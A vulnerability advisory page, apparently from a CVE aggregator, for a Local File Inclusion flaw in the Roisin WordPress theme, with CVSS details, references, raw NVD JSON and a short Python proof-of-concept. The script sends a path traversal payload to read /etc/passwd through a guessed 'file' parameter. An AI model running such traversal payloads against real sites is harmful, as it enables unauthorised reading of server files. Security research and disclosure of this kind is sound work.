CVE-2026-22512

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in Elated-Themes Roisin roisin allows PHP Local File Inclusion.This issue affects Roisin: from n/a through <= 1.2.1.

CVSS Details

CVSS Score

8.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Roisin <= 1.2.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# PoC for CVE-2026-22512
# This script demonstrates the Local File Inclusion vulnerability.
# Usage: python3 poc.py <target_url>

import requests
import sys

def check_lfi(target):
    # Common payload to read /etc/passwd on Linux systems
    # Adjust the parameter name based on the vulnerable endpoint
    payload = {
        "file": "../../../../../../etc/passwd"
    }
    
    try:
        print(f"[*] Attempting to send payload to {target}...")
        response = requests.get(target, params=payload, timeout=10)
        
        if response.status_code == 200:
            if "root:x:0:0" in response.text:
                print("[+] Vulnerability Confirmed! /etc/passwd content found.")
                print("[+] Partial output:")
                print(response.text[:200])
            else:
                print("[-] Target responded, but LFI signature not found. May be patched or vulnerable param different.")
        else:
            print(f"[-] Server returned status code: {response.status_code}")
            
    except requests.exceptions.RequestException as e:
        print(f"[!] Error connecting to target: {e}")

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print("Usage: python3 poc.py <http://target.com/vulnerable_page>")
        sys.exit(1)
    check_lfi(sys.argv[1])

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-22512
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-22512
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-22512/
[4] VulDB https://vuldb.com/cve/CVE-2026-22512
[5] https://patchstack.com/database/Wordpress/Theme/roisin/vulnerability/wordpress-roisin-theme-1-2-1-local-file-inclusion-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-22512", "sourceIdentifier": "[email protected]", "published": "2026-03-25T17:16:33.550", "lastModified": "2026-04-24T16:32:53.997", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in Elated-Themes Roisin roisin allows PHP Local File Inclusion.This issue affects Roisin: from n/a through <= 1.2.1."}, {"lang": "es", "value": "Control inadecuado del nombre de fichero para la declaración Include/Require en el programa PHP (vulnerabilidad de 'inclusión remota de ficheros' de PHP) en Elated-Themes Roisin roisin permite la inclusión local de ficheros de PHP. Este problema afecta a Roisin: desde n/a hasta <= 1.2.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/roisin/vulnerability/wordpress-roisin-theme-1-2-1-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}